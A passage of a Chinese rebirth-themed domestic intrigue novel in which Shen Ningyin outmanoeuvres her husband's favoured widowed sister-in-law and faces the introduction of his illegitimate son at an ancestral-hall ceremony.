她拿着豪笔在桌案上写写画画，打定了主意：就算秦耀阳真来，也得多叫他等个把时辰。
秦耀阳是夫婿，他若求欢，沈宁音拒绝不得。可就算如此，也得叫将自个儿的身子换尽该有的价值。
太容易得着的，终究叫人很快失了兴趣。尤其秦耀阳这样的男人，他出身高贵，从小见惯了美人，他想要怎么样的女人没有？怎的会偏爱那求而不得的寡嫂？
不过是男子的劣根性罢了。
烛泪流泻在烛台之下，牵扯出长长的凝滴。烛火因着将尽的寿数而变得明亮。
她已经等了很久了，眼睛有些干涩。
兰香过来添白烛：“少夫人，染竹姐姐一早派了人去外头候着的，将将下边儿人过来禀告，说是……”
沈宁音没有抬眸，脸上依旧是淡然的神色：“怎么了？”
兰香抿了抿唇，有些悲愤：“二爷回来的时候本打算直接过来的，可那边儿的仆婢跪在那儿苦求。”
沈宁音闻言，终于抬起眼，她知道那边儿是谁的院子，她早有预料。
甚至乐见其成。
但兰香不知，小丫鬟眼圈有些红：“奴婢只恨当时没在，不然，定上前去撕烂那些贱蹄子的嘴！”
沈宁音听罢，倒像个旁观的一般，嘴角弯了弯：“后来呢？”她问：“后来，那人再请，世子就肯去了？”
沈宁音是当真好奇的，男人么，喜新厌旧，秦耀阳刚邂逅了一个梁玉霜，再加上周婉又犯了错处，公然抢人，为着消解自己去寒山寺的怒火，听说秦耀阳已经好几日都不曾过去瞧周婉了。
沈宁音倒不认为秦耀阳当真这般在乎自己的感受，左不过因着老夫人与闵氏都对他耳提面命罢了。
兰香摇了摇头，脸色变得有些凝重起来：“是大少夫人正好从旁边儿台阶上滚了下来，足有五六十阶，还……还见血了。二爷当时脸就白了，冲过去的时候还摔了一跤。”
听到这，沈宁音都不禁佩服起周婉的狠劲儿了，一个深宅女子，从那么高的台阶上滚下来，还是当着秦耀阳的面。
沈宁音阖上了书，敛眸：“好了，铺床吧，咱们睡觉去。”
兰香着急地看着她：“少夫人！二爷都被截了！您还有心思睡觉？您如今是掌着侯府中馈的正经主母，便是冲过去把二爷拉回来也是使得的！”
沈宁音站起身，抬手刮了一下兰香的鼻子：“就你想得到？”
“我自然可以把世子拉过来，也自然可以顺遂圆房，那以后呢？”
“以后？”兰香张着疑惑的眼睛看向沈宁音：“什么以后？”
沈宁音叹了一息，前世的兰香到死都是这般直率的性子，那时的沈宁音一乘小轿给抬进了冷家门，说是正室却没有正室的待遇，身边的丫鬟自然也带不得两个。
前世的兰香因着规矩好，人也勤快，便给沈夫人强行安排去了昌平侯府伺候沈弦思。
几年后，沈宁音辅佐着冷元景中了进士，还得了官，她也有了官太太的身份。等想叫人暗中赎回兰香时才得知，兰香入侯府不到一年，便因着手脚不干净，被扒光衣裳撵回了家，兰香性子烈，一根麻绳，吊死在了第一个冬日。
沈宁音摸了摸眼前小丫头毛茸茸的发，有心点拨她：“以后，世子便再忘不了她了。”
周婉，就是他的爱而不得。
快刀斩乱麻行不通的，唯有一点一滴将她掘去，否则，这样的朱砂痣，哪怕成了一团死灰，也终将困扰一生，随时会复燃。
兰香不太懂，但她是懂事的，唯独情绪放之不下，兰香抿着唇，眼眶红红的，她替沈宁音委屈：“少夫人，难道就任由他们？”
“自然不能。”沈宁音弯唇一笑：“人啊，若有了所求，那便要出破绽的，有了破绽，就合该叫她自食恶果。”
“你且看着，明日就要让她偷鸡不成蚀把米。”
兰心居。
郎中已经走了，素色的纱帐挂了起来。
屋子里是熟悉的姑苏沉水香，周婉睫毛轻颤，恰到好处的睁开了眸子。
见她一醒来，秦耀阳就连忙伸手握住了她的柔荑：“你怎么样？”
男人的神色带着疲倦，眼睛有些红，湿着眼圈，显然将才哭过。
见他这幅模样，周婉沉着的一颗心终于放松了下来。
“我……没事。”她嘴里这样说着，熟练地落下泪来，虽满脸的病弱，可她一哭，那些仿若星子的泪滴瞬间就勾起了秦耀阳往昔所有岁月里的回忆。
什么梁玉霜、什么妻子、什么母亲与祖母的告诫，他统统都抛到了脑后。
热血上头的瞬间秦耀阳搂紧了怀中的娇躯：“没事就好、没事就好。你怎么这般不小心？你知不知道你从台阶上摔下来，我有多么伤心。”
周婉被他身子的暖意煨着，又听着男人无措又无助的表白，顿时也是感动落泪。
她反手搂紧了男人：“是我不好，让你担心了。我也是为着去见你，一着急才……”
周婉的声音温柔，病弱的模样更赛过西子，秦耀阳怕碰着她身上的伤，很快就松开了她。只拉着她的手，嗓音低沉沙哑：“婉儿，以后再不会避着你了，这几天刚下过雨，石阶上青苔又湿又打滑的，你叫人来喊我就行，我一定过来。”
周婉被他拉着手，眼圈一红，将手从他掌心抽出来，声音带着浓浓的鼻音与委屈：“我不敢的。以后再不敢了。”
“沈宁音有祖母与母亲疼惜，如今又掌着中馈，我再这般，只怕就错上加错了。”
秦耀阳听她这样一说，情绪一下子就上来了：“你怕她针对你？”
周婉没说话。
秦耀阳皱紧眉头：“婉儿！你放心，她不敢的。”
“你怎知她不敢？”周婉委委屈屈：“她如今都敢甩脸子去寺庙里头赌气了，这事儿就连我姐姐都听说了……”
她看似委屈，就连语气都带着往日惯用的撒娇。秦耀阳很吃这一套。
秦耀阳果然是冲冠一怒：“她若真敢
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为难你，我定为你讨回公道！”他冲动之下就要起身。
可起到一半，秦耀阳突然瞥见了周婉肩膀上的发丝，他伸手拨了拨。
女人露出发丝下遮掩着的漂亮锁骨。
秦耀阳愣住了。
周婉原本沉浸在拿捏上男人的得意里，可他此刻的反应只叫周婉心里没来由地咯噔了一下。
“怎么了？”周婉竭力想让自己的声音软糯几分。可秦耀阳没了冲动。
冷静下来就是冷静下来了，当一个男人不再上头，想再勾着他，就极难了。
周婉有些慌乱，伸手拉着男人的衣袖。
秦耀阳坐在床边，任由她拉着，只道：“没什么。”他拍了拍周婉的手背，笑容一如既往的温柔：“宁音会理解你的，她端庄贤惠，不会随意忤逆我的话。”
“你也是她嫂嫂，这一点，不会变。”
周婉更慌了，整颗心痛到滴血，秦耀阳起身的时候，她死死抓着他的袖子不放。
“婉儿？”秦耀阳询问的语气是一如既往的耐心，可是周婉很慌很慌。
人就是这样，装模作样，迎合得久了，她便也不敢露出真实的情绪。
周婉只好缓缓松开了手，佯装大度：“昭郞，我自是信你的。你现在就要走了么？”
秦耀阳沉默了片刻：“嗯。她在等我。”
周婉突然有一种强烈的危机与窒息感觉，她做了这么多，这男人竟然还要去。
酸楚混杂着不甘：“我怎么办？”
秦耀阳看着她的脸，表情无奈中又有几分烦恼：“婉儿，我的心，你还不明白么？但事情可以可二，不可三，我若不去，母亲与祖母那里我如何交代？”
周婉看着他，忽然挣扎着起身，她身子一歪，男人慌忙上前接住了。
“你这是……这是作甚？”秦耀阳脸上的惊慌与担忧半点不作假。
周婉的眼泪像决堤般淌出：“别走。”
“婉儿！”她的不懂事叫秦耀阳提高了声音。
可是女人柔弱无骨地将他抱着，男人的腰本能地酥麻，他隐忍着：“婉儿，你听话。”
秦耀阳都知道，沈宁音年纪小，可处理事情妥帖，只要她不犯大错，床帷之事总归要有的。
早一日晚一日罢了。
周婉抬起泪眼，手抱得更紧了：“昭郞！别走。”
她泣不成声：“我已经没有力气，再去抢你一次了……”
也没有人能容得下她再去祁秀院抢上一回了。
上次的事情，老夫人都动了真火，叫她禁足。
她若是再来一回，怕是连宫里的姐姐都再保不住她了。
周婉只能赌，赌她在秦耀阳心里的分量。
赌他舍不得自己，赌那些美好的岁月足够打动他的心。
周婉就那么看着他。
这个自己费尽心力也要攀附上的男人。
“求你……”她声音低沉，第一次这般祈求。
秦耀阳瞳孔地震，终究是搂紧了她的肩膀：“嗯。”
突然，门开了！
41. 凋颜
户枢发出尖锐压抑的声音，隔着屏风都叫人心惊。
秦耀阳没来由地一慌，伸手就将周婉推开去。
周婉倒在被褥上，闷哼了一声。
就在秦耀阳心若擂鼓，恍若被抓奸一般心虚的时候，门口传来的，却不是他意料中的声音。
不是沈宁音。
小丫鬟就在那屏风后禀告：“二爷，少夫人，祁秀院来人了。”
秦耀阳身上的线条肉眼可见轻松下来，连他自己都没意识到。
周婉捂着身上被扯到的伤口，眼底染着怨恨。
就在刚刚，刚刚她的昭郞分明已经答应下来了。周婉也以为自己就像是从前的无数次一般十拿九稳了。
可是，他推了自己！
他竟然选择了推开自己！
这么多年了，周婉了解这个男人，他不怕闵氏，更不怕祖母，为了拒婚，他连军棍都能挨过去。那么多次中，唯独这一次，他心虚了、动摇了。
是因为那个女人。
周婉攥紧了被子——是她，都是她的错！
“婉儿……”秦耀阳看着床上的女人，又看看自己的手掌：“我……”
周婉片刻后才抬头，她露出个善解人意的笑，伸手拉住了男人，又用另一只手将垮下去的衣领往上带，遮住圆润细腻的肩膀：“不碍事。”
“那就好……那就好。”秦耀阳俊美的脸上有些尴尬。
他越是如此，周婉心里越是气闷，她使力将男人拉到床边坐下，又转头吩咐：“去把人叫进来吧。”
秦耀阳闻言，脸色变了变，可低头看着周婉苍白的脸色与她抓着不放的手。秦耀阳心软得不行，又哪里忍心再把人推开呢？
染竹迈进来房间的时候，一抬眼，隔着屏风就影影绰绰的瞧见床上有人。
想起今日傍晚还信誓旦旦要去祁秀院的男人，染竹心里憋着一股子气。
只是染竹并非兰香，顾全大局的时候良多，也明白深宅大院儿里的无奈，当下只低着头走进去说话。
“奴婢祁秀院染竹见过二爷，见过大少夫人。”
“快把人扶起来。”周婉一副温柔大气的样子，很快就有丫鬟把个染竹个搀扶起来。
染竹抬起头，目光落在秦耀阳的脸上，男人不自然地避开了目光，道：“你家少夫人可睡了么？”
“少夫人没睡。”染竹还带着点希冀。可还没等她多言，便给一旁周婉剧烈的咳嗽给打断了。
秦耀阳肉眼可见的关心。
哪怕他还算克制着，可他的眼神无法作伪。
周婉喝了口丫鬟递过来的温水，似乎才缓了过来。周婉抬起水润的眸子，方帕掩唇，露出个虚弱的笑：“是我身子不争气，世子也是关心我才留下看顾的。”
“还请转告弟妹，希望她莫要在意才是。”
秦耀阳隐约觉着周婉的话有哪里不妥当，可他垂眸看去时，周婉正好抬眼过来，咳嗽之后的美人眼角泛着水润的光晕，脸颊微红，病弱的模样却偏偏生出一种娇羞妍态来。
他看着这样的周婉，什么疑惑都消了，只剩下了心疼。
秦耀阳开口：“你回去叫她先睡，我迟些再过去。”他这会儿左右为难，实在头疼。只能拖一时是一时。
他温柔地替周婉掖被子。
周婉眼里爱意流转，只是瞥向染竹时，有一股子不屑与得意。
染竹这般心绪沉稳的都有些瞧不下去，捏了捏拳头，染竹抬头道：“二爷，您误会了。”
“二少夫人不是来请您回祁秀院的。”
染竹的话叫周婉一愣，秦耀阳也诧异地转头看了过来。
“那她叫你来做甚？”
回答秦耀阳的，是一个礼貌性的微笑，染竹侧身，便有人将衣裳与被褥放在了一旁的桌子上。
染竹恭敬地传话：“天儿转寒，少夫人怕您冷着冻着，拿了一床锦被。还有您明儿要穿的衣裳、皂靴、锦袜，都给您备下了。”
染竹隐晦地扫了周婉一眼：“少夫人说，大少夫人受伤，是该多关心着，她特特从嫁妆里挑了一棵老参给大少夫人补身子。少夫人还说，到底不是自个儿的院子，一应用度，也不便劳烦着兰心居。就叫奴婢都添置过来了。”
秦耀阳越听，越觉羞愧，当下就站起了身，他张了张嘴想说些什么，却觉衣袖一沉，低头看时，又是被周婉给拉住了。
两相对比，一个懂事又识大体，另一个却相形见绌。秦耀阳的天平又倾斜了。
只是这次，染竹再没有将才的希冀，低垂着目光，恭敬开口：“二爷，若没什么事，奴婢就先回去了。”
染竹正要转身，秦耀阳深吸了口气：“等等，我现在就……”他改主意了。
这决定很有些艰难。
秦耀阳舍不得周婉，却又深知道自己做得不妥当。
染竹的眼角余光瞟见周婉几乎想从床上下来，当下心中鄙夷，她想起自家主子的云淡风轻来，只道：“二少夫人累了一整日，久等您不来，想来这会儿也该困睡着了。她既然给您添了被子，也是让您不必挂怀，只管在外头歇息的意思。”
染竹说得轻巧，可秦耀阳心里却是五味杂陈。
秦耀阳就是这样，他可以拒绝沈宁音，妻子每次都恭顺柔婉，叫他觉着心里熨帖，作为男人、作为丈夫，都有理所当然的满意。
可现在，自己不回房，沈宁音却依旧如此迁就，这让他心里万分沉闷，甚至生出一丝莫名其妙的不甘来。
秦耀阳捂着胸膛，眉头拧紧，不知在思忖什么。而他身后的周婉倒是大大松了口气，转头朝丫鬟递了个眼神：“还不快将人送出院儿去？”
丫鬟连忙应了声，染竹也不多话，转身就走。
周婉伸手去拉秦耀阳，男人却是一抬胳膊，将她指间的袖子抽了出去。
“婉儿，你好好歇息。”秦耀阳转头叫住了染竹，沉声吩咐：“今儿，爷在书房歇息，你领人过去将床铺好再回去给你家少夫人复命。”
他说得斩钉截铁，甚至连一点回旋的余地也没给周婉留。
不一会儿，祁秀院的人走了，秦耀阳也走了。
屋子里突然就冷清了下来，周婉抓着被子，刚刚男人还坐在那儿的，
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可伸手一摸，却半点温度也没抓得住。
贴身的婆子走了进来，看着她掐在被子上的手指因为用力剧烈颤抖。婆子脸色一白，连忙拉过周婉的手。
“哎哟，少夫人，您这是作甚？”那锦被上竟被掐抽了丝。
婆子知晓她心里苦，叹了口气：“少夫人，世子爷定是黏在您身子伤着，不好搅扰，他这不是没回祁秀院去了书房么？”
周婉仿佛没听进去，她木然地转过脸，拿一双通红的眼睛看向婆子：“去拿镜子来。”
婆子连忙从妆奁里掏出一把小巧的铜镜，又举了个烛台凑到近前。
周婉将铜镜照在眼前，借着烛火打量着自己。
暖色的火焰将她病弱的模样都衬出了几分妍色。
“少夫人天姿国色，靡颜腻理。”婆子说着奉承话。
可周婉知道自个儿的情况，她二十九了，已经不年轻了，哪怕每日里用名贵的脂膏，用上好的粉黛，也快要遮不住岁月的痕迹。
只是眼下不同，她为着惹那人的怜惜，为了今日能留下那人，周婉一丝不苟地装扮过。至少此刻在镜子中，周婉没有发现脸上有半分老态。
“我与那沈二相比，谁美？”周婉问。
婆子笑着应声：“自然是您。少夫人与从前并无太大区别。”
周婉松了口气，她也觉着大抵是自己太过敏感，又在心里安慰着自己——他没去找沈宁音，只要他不去，那么他心里就是有自己的。
周婉这样想着的时候，目光逡巡，突然，定格在铜镜里。
她的眸子惊恐地瞠大了。那昏黄的铜镜映照中，她发现了一点白。
周婉不敢置信，缓缓低头，终于从肩上抓起的发丝里定住了那根白发。
“啊啊啊！”她狠狠扔掉了铜镜，捂着耳朵尖叫。
“撒谎！你在撒谎！”周婉抓着那头发用力一扯。
随着头皮上尖锐的痛，一撮头发直直被她给揪了下来。火辣辣的感觉刺激着她的神经。
“不成了，我要不成了！”她浑身发抖，婆子慌忙抱住她：“少夫人，别胡思乱想。”
“世子心里是有您的，一定是有您的！”
兰心居内的心碎与惶惶不安并未影响到沈宁音的安眠。
她安排好事情后便歇了。
翌日清晨，沈宁音精神头都恢复了不少，虽还有些瞌睡，但她素来识大体，天刚蒙蒙亮便已经起身。
今儿要开宗祠，秦耀阳既是世子，那她即便不必成为家族掌管庶务的宗府，也需要成为秦氏一族荣耀的表率。
她早早去到松鹤堂的时候，老夫人也是过了一会儿才起身的。
老年人的瞌睡少些，可孙媳比自个儿还早，老夫人倒是又高看了沈宁音一眼。
便笑着招呼她进去用膳。
又过了小半个时辰，闵氏才蔫蔫的走了进来。
看见沈宁音在，闵氏的瞌睡都醒了几分。
老夫人看向她的脸色十分难看。
闵氏清醒过来时，就瞧见桌子上的饭菜都吃了不少：“母亲，您怎么就吃上了……”
42. 拜祠
闵氏说完这句便知自己讲错了话，尴尬地笑。
老夫人原就瞧她不上，当下将筷子一拍，同闵氏多磨叽半句都欠奉：“若嫌弃不想吃，你便回自个儿院子里吃了再来。”
沈宁音正低头拨弄着白瓷勺子，微蹙了蹙眉。老夫人没理由不给闵氏脸面……
除非……闵氏犯了大错，想来，这才是老夫人收了中馈的其中一个原因。
不过，这与沈宁音并不相干，她就装没在听。
闵氏一时下不来台，老夫人她是不敢怨怪的，闵氏便把一切都怪到沈宁音头上。
闵氏瞪了沈宁音一眼，厚着脸皮坐下冲老夫人赔着笑，又略扒了几口饭。闵氏只觉着味同嚼蜡。
“好了，今儿是大日子。”老夫人起身，斜睨她一眼：“你可有点眼力见，莫失了侯府气度。”
“是，是。”闵氏紧走两部隔开沈宁音，将老夫人亲亲热热地扶着。
沈宁音给撞了个趔趄，兰香要上前扶，被沈宁音一个眼神阻了。
侯门勋贵，又还是开宗祠这等要紧日子，行差踏错最是忌讳的。
倘使长辈都在掺着老夫人，沈宁音这个晚辈反倒要丫鬟扶着，旁人是要戳脊梁骨的。
一行人就这么早早地出了松鹤堂。
外头已经等着几驾侯府的马车，沈宁音抬头先瞧见了昌平侯，他自打从宫里给放回来之后，就好似苍老了十来岁。
整个人清瘦下去，昌平侯倒又有了当年的几分风姿，这会儿训起秦耀阳来，颇有点风度气势。
“你看看你，像什么样子？成日里文不成武不就，眼底乌青，简直混账！”
沈宁音踏出门槛，秦耀阳就望了过来。他唇抿了抿，将将还一声不吭听着训斥，这会儿眼底却泛着些烦躁：“爹，难道不是你们不让我上边军去建功立业？如今又来骂我惫懒！”
“你！”昌平侯气得脸颊颤抖，抬手抓起赶车的马鞭就要抽。
秦耀阳方才脖子一梗还很硬气，可一瞧见粗实的马鞭子，就连忙往后头躲。
老夫人连忙上前抓着儿子的马鞭，厉声道：“你这是做什么？！你就这么一个儿！前几年差点儿打死了他你忘了？你是不是想气死我这把老骨头？！”
昌平侯眼瞧着老夫人眼睛里闪着泪花，当下哪里还敢打儿子？连忙扔了马鞭服软。
到了最后，秦耀阳是不敢跟他老子并肩子去骑马了，老夫人手一挥，就将他两夫妻送作堆。
沈宁音表现得乖顺，温柔地替夫君打帘子，老夫人看得直点头，见两人一同上了马车，她颇有种老怀大慰。
放下车帘，沈宁音与秦耀阳谁也没说话。
空气湿漉漉的，太阳若隐若现。
今儿不是个大晴天，但没法子，开宗祠也拖不得了，后头莫说很可能阴雨连绵，吉日也要再往后稍上个一旬半。
人心惶惶的秦家人等不得这么久。
“宁音。”秦耀阳的声音从耳边传过来，沈宁音思绪消散转眸微笑着回应：“嗯。”
见她一如往日的恬淡，秦耀阳心里头酝酿的无理质问就仿佛对上了棉花，沉默了一个呼吸，他才放缓了声音道：“昨儿，我是宿在了书房的。”
“妾身知道。”沈宁音笑容很寻常。
就是太寻常了，叫好不容易把话讲出口来的秦耀阳莫名有点失望。
她哪怕质问他，同他闹呢？这个念头在秦耀阳的心底里冒出来时，连他自己都吃了一惊。
秦耀阳捏紧了大腿上的衣摆：“昨儿我失约，宁音你可要些什么补偿？”
沈宁音愣了一下，目光落在他脸上。
风有些凉，卷动着车帘吹将进来，叫他眼前的妻子乱了鬓角，微微的天光透过缝隙洒进来，把女儿家柔美的轮廓勾勒出一层浅薄的金黄。
秦耀阳有一瞬间的愣神，他几乎是下意识地想伸手去替沈宁音将乱了的鬓发抿上一抿。
可沈宁音将头转过去，正好错过了他微抬起的手掌。
窗帘被纤纤素手往下压了压，沈宁音才转回头来：“夫君此话何意？”
秦耀阳好似被她温婉的目光灼到了，连忙别开了脸：“没什么，就……你但凡有什么想要的，我想办法送与你。”
道歉这种事情，秦耀阳对同一人说得太多，此时此刻要是再说，连他自个儿都觉臊得慌。
半晌，一声轻笑之后，传来妻子软软的声音：“世子若要送妾身东西，妾身一时也想不出什么想要的。不如，送我些金子吧。”
“金子？”秦耀阳觉着很意外，沈宁音是侍郎千金，沈家走的是科举，那些个文臣们自诩清流，往往更喜古玩字画，没料想眼前女子竟喜欢金子。
不过，秦耀阳将才在她跟前被父亲训诫，颜面尽失，这会儿答应得分外豪横：“好，我那儿还有些金器，回头我都给你。”
“多谢夫君。”沈宁音笑起来眉眼弯弯，这次是真心了许多。
因为，秦耀阳从小顺风顺水，从不关心府库，想要什么东西，侯府都是紧着他来。他绝不会想到，等回头再想找府库里要东西，可就再难讨到了。
秦家在上京的祖宅是坐落在一处大院儿里头，自有族老与掌着庶务的族亲供奉着。
因侯府得着了世袭罔替的爵位，并且，前世子与老侯爷一并战死在了沙场，圣人感念秦家有功，又将侯爵位置恩延到了秦耀阳这一代。
此次沈宁音作为板上钉钉的下一任侯夫人，排场给得十足十的宏大。
那些个繁文缛节走下来，沈宁音也没个人搀着，只觉得比起先前成亲之事还要累人。
“小心。”
沈宁音感觉到胳膊一紧，抬眸时，正对上秦耀阳温柔的目光。
秦耀阳环顾左右，道：“若是累了，便去后厢房坐一坐。”
“不必了。”沈宁音敛眸微笑，伸手将他的手轻轻推开：“我还能行。”
那么多双眼睛盯着的，沈宁音一个新妇，若然当着那么多人的面儿被丈夫扶下去，那些个族老正挑剔着，怕不是要给她安排个没规矩、恃宠而骄的罪名来。
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沈宁音是正妻，正妻便不能有妾室的名声，便是咬牙也得撑到最后。
更何况，这次拜祠堂，前世就有不少的幺蛾子。沈宁音可不想错过。
秦耀阳的好心碰了个软钉子，便也没再坚持，只是喊她想歇的时候唤自己就是。
三跪九叩，上香祈福，沈宁音规规矩矩执礼。族老们看得抚须直点头。唯独坐在旁边儿的老夫人神色有点凝重。
就在冗长的仪式结束的时候，外头忽然吵嚷起来。
所有人的目光都望了出去。
沈宁音不用看也知道是什么，前世，秦家祠堂里沈弦思失仪，竟动手打了秦耀阳。
两人水火不相容虽是从新婚夜就开始的，可那也是关起门来两口子闹着的别扭，可拜宗祠这等时候搞出了妻打夫这样的事来，非但撕破脸，而且在所有人眼里，这简直就是倒反天罡。
沈宁音能知道这些，也是得亏了沈弦思性子骄纵，婆家不待见，夫君不肯碰，她浑身寂寞牢骚无处发泄，统统往娘家说。
既有了预知，沈宁音此刻的目光就直接落在了秦耀阳脸上。
但见男人原本疑惑的目光几乎在瞬间化作了震惊与慌乱。
秦耀阳垂眸看向妻子的时候，沈宁音正好往人群里瞧。
一个中年妇人抱着个粉雕玉砌的小孩儿从分开的人群往宗祠走了来。
“让开让开。”有壮硕的家丁在前头开路，不论是家丁还是抱着孩子的人，统统脸上都带着喜气洋洋的笑。
那小孩儿怀里抱着木头玩具咯咯直笑。
沈宁音知道秦耀阳在看着自己，她便露出个恰到好处的疑惑眼神来。
“世子，这是谁家孩儿？这般可爱？”沈宁音笑着望过去，满脸染着温柔的光。
秦耀阳躲开眼神，笑了笑：“一会儿咱们就知道了。”
沈宁音没放过他，提着繁复的裙裾，微笑着往小孩走去。
那孩子身边的大人尽都恭敬又讨好地行礼。
等行了一圈轮到沈宁音时，沈宁音已经站在了跟前。
“二少夫人。”中年妇人警惕地拉了拉小孩儿。
“恩。”沈宁音笑着道：“这是谁家的孩儿，怎的跑来这了？”
她话一出来，众人都是脸色变了变，族老们的目光落在了老夫人脸上。
无他，按照秦家的规矩，只有嫡子，才能往祠堂里头来拜祭祖先。
这孩子虽锦衣在身，可秦家就那么几房，是不是嫡出子嗣大家心里有数。
寻常庶出，那也不能与秦耀阳这等身份娶妻拜祭的时候过来搅扰的。
沈宁音说完话就没管其他人什么表情，她笑着蹲下身伸手去逗弄小孩儿，表情很是友善温柔。
可惜她这样的神色根本入不得小孩儿的眼，那孩子没等她手指伸到自己的头发上就已经满脸厌恶地一把推开。
“别碰我！”清脆的童声带着满满的恶意，叫所有人都给他捏了一把汗。
“你做什么？！”中年妇人也是一把将人捞到身后。
43. 第 43 章
沈宁音并不恼，她前世就知，越见不得光的，人便越有着补偿心理。
周婉如是，秦齐亦如是。
沈宁音算算年岁，面前的孩子十之八九就是那个秦耀阳的私生子了。
秦齐骄纵顽劣，给养歪了。小孩儿不似大人，便是旁人再如何耳提面命，他也不能将情绪性子藏得太聪明。
沈宁音略一试探就摸了个大概。
她隐晦地用早就准备好的竹签在手指上划了一下，不轻不重，刚好沁出些血来。
那中年妇人刚作起一副母鸡护崽的样子，沈宁音也嘶了一声捂住手。
“少夫人，您靠这么近做什么？”那妇人当先咬着牙质问。
沈宁音抿了抿唇，在众人面前难得露出个寻常十几岁女子的无措来：“我就是……想起了家中最小的庶弟。”
中年妇人听着那“庶”字，心中一阵敏感的恼怒，但话到嘴边儿又咽了回去。
老夫人道：“好了，宁音也是个没做过娘的，瞧着孩子难免欢喜一些。”又看向沈宁音：“以后等你跟耀阳有了孩儿，你想抱想摸还怕没机会？”
沈宁音低着头没说话。
“你手怎么了？”秦耀阳离得近，第一个发现了沈宁音手指上的不妥。
“没什么。”她连忙将手背到身后，秦耀阳哪里肯让，一把扯了出来。
但见她纤纤玉指上有一条不深不浅的伤口。
秦耀阳那原本就乱糟糟的心，更乱了。
“我没事。”沈宁音连忙抽回手。
秦耀阳皱眉看向秦齐：“道歉！”
小孩儿缩了缩脖子，可他骄纵惯了，此刻虽没瞧见母亲，但最疼他的祖母还在场，又那么多人看着，秦齐当下就有了底气，他从中年妇人身后探出头来，梗着脖子冲秦耀阳道：“是她凑上来的！是她不小心的！”
“是，妾身没事的。”沈宁音忙拉住秦耀阳。
“你……”秦耀阳要发火，一群人拦着，老夫人也是从无奈到尴尬。
秦齐看看秦耀阳，又看看坐在上首不帮自己说话的老夫人，当下一把扔了玩具哇哇大哭起来。
沈宁音站在一旁冷眼旁观，下人给她拿布条细细包扎。
这样的小伤根本就不算什么。
前世沈弦思要闹，最后闹到家宅不宁，人人厌弃。
而今沈宁音也要闹，要她们自己乱起来。
此时此刻，乱糟糟的祠堂现场，她依旧浊世清莲，没有半点错处。
“明明是她的错！”秦齐满脸的委屈，眼泪大颗大颗往下掉。
“闭嘴！”老夫人耐心告罄，看着不成器的重孙，恨不能叫人将他丢出去。
秦齐张了张嘴，似要喊她。老夫人冷着脸先声夺人，朝那中年妇人训斥：“怎么教孩子的？没规没矩！”
这一下，原先还满脸春风得意的妇人也不敢拿乔了，慌忙拉着秦齐跪在了地上：“快，给少夫人磕头。”
秦齐被按着头，一双通红的眼睛气愤地看向沈宁音。
沈宁音不躲不避，生受着。
虽说她并不清楚前世具体是怎样的情况，但接下来她想也能想到，重头戏该来了。
嫁都嫁了，秦家人前世能让沈弦思捏着鼻子认下这个庶长子，今生就也能逼着她。
秦齐是秦耀阳的骨血，沈宁音知道阻止不了，她不会像沈弦思一样给那些人借口让她变成“无理取闹、疯癫”的一方。
沈宁音要争取的，是更多的利益。
“宁音。”老夫人朝着她招招手。
这会儿闹哄哄的现场已经恢复了平静，沈宁音走到老夫人身边儿，任由她拉着自己的手：“祖母有何吩咐？”
“孩子小，头一遭来这等场合，想是紧张了。”老夫人拉着沈宁音，看向她的目光尽是疼爱慈和：“你可在怪他？”
沈宁音温柔地摇摇头：“是孙媳看他实在可爱，不小心冒犯了。他也不是故意的。”
老夫人说话的语气、神态，像极了想替她做主，寻常女子遇着长辈这样，必是委屈得掉泪信以为真的。
可沈宁音很清楚，一边是刚嫁进门的孙媳，另一边是亲重孙，这等亲疏远近，老夫人不过是在试探罢了。
“你觉着他可爱？”老夫人眸光果然亮了亮。
沈宁音颔首，语气诚恳：“我只觉着他长得倒与世子有几分像。所以亲切些？”
她这话出口，老夫人眸光微顿，而另外那起子知情人，都慌了起来。
空气一时压抑，只余下四周的窃窃私语。
老夫人轻笑，眼底闪过一抹尴尬：“是么？原都是秦家人，长得像也没什么稀奇的。”
老夫人招呼着秦齐到身边。
秦齐将将给这阵仗吓得小脸煞白。此刻也不敢造次了，规规矩矩地走到老夫人手边去。
“这是咱们家留在凉州城的那一支族人后裔。”老夫人摸摸秦齐的发丝，安抚地朝着他笑：“算下来，是我四叔，你与昭儿的四爷爷一脉。”
沈宁音看着她仿若追忆往昔，老夫人那等神色，那样娓娓道来地说起秦齐家的旧事，就连一旁的族老们都是眼含泪花，叹息起来。
沈宁音也陪着抹了抹眼泪，一派和谐。她知道，但凡自己开口要教养这个孩子，今天晚上秦齐就会被堂而皇之地接回侯府。
比起前世对付沈弦思，今生她显得温婉懂事，秦家的做法显然更温和了一些。
可无妨怎么处置，核心并没有改变。
所以，任凭老夫人从秦齐的“祖父”说到他早逝的双亲，沈宁音都是该给的反应一点儿不少，不该给的承诺一字不提。
说到最后，族老听不下去了，当下就道：“既然这孩子的祖辈都是替咱们秦家守着边塞的，不如，老太君就做主将他接到侯府去教养吧？”
沈宁音擦着眼泪的手一顿，目光看了过去。
有了先前秦齐的玩具“划伤”沈宁音的手指一事，那族老对上沈宁音的目光也不禁有了点心虚。
“这也是一桩好事。”老夫人先讲了自个儿的观点，作为筹谋这件事的幕后之人，老夫人并未先询沈宁音的意见，而是越
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过她的肩膀，看向了秦耀阳。
“昭儿，你怎么说？”
老夫人是想让这事儿叫所有人有了共识，这样一来，最后询问沈宁音，她孤掌难鸣，此事板上钉钉绝无可能有回旋余地。
可老夫人问完话，秦耀阳仍旧低着头，不知在想些什么。
她咳了两声，不得不再喊：“昭儿！”
“……”秦耀阳蓦然抬起脸，目光里的纠结沈宁音实在容易懂。
“祖母。”他语气有些抵触。
老夫人皱紧眉，加重了语气：“昭儿，你觉着，族老的提议如何？”
秦耀阳没说话，却是看向了沈宁音。
沈宁音坦然的眼神，像一株秋菊，灿烂又华丽，开在最美的季节，温柔无害。仿佛随时要面临冬日里最残酷的寒潮，被摧毁、被破坏、摧折个干干净净。
这么些天下来，至少这一刻，他心里不忍。
心软的感觉像棉花一般横亘在胸臆，叫他有种上不来气的挫折感。
“秦齐他这般可怜，一直流落在外头，你难道就没有恻隐之心？”老夫人骤然的话刺进秦耀阳的心头。
钝痛的感觉叫他突地清醒过来。
他无措地看向祖母，上首的老夫人狠狠心，补了一句：“秦齐他，到底是秦家的血脉！”
便是这句话，叫秦耀阳捏紧的拳头松了开来，他勉强扯出个笑：“是，孙儿也觉得……”
秦耀阳低下头，不敢去看沈宁音。男人咬了咬牙：“孙儿也觉得应该负起责任，照拂这孩子。”
老夫人松了口气，这才转头看向沈宁音：“宁音，既然昭儿都这样觉着，你认为呢？”
沈宁音微微张嘴，似乎没从震惊里反应过来，当下连忙走到下方朝着老夫人与族老们行了一礼。
“祖母，孙媳觉得不妥。”
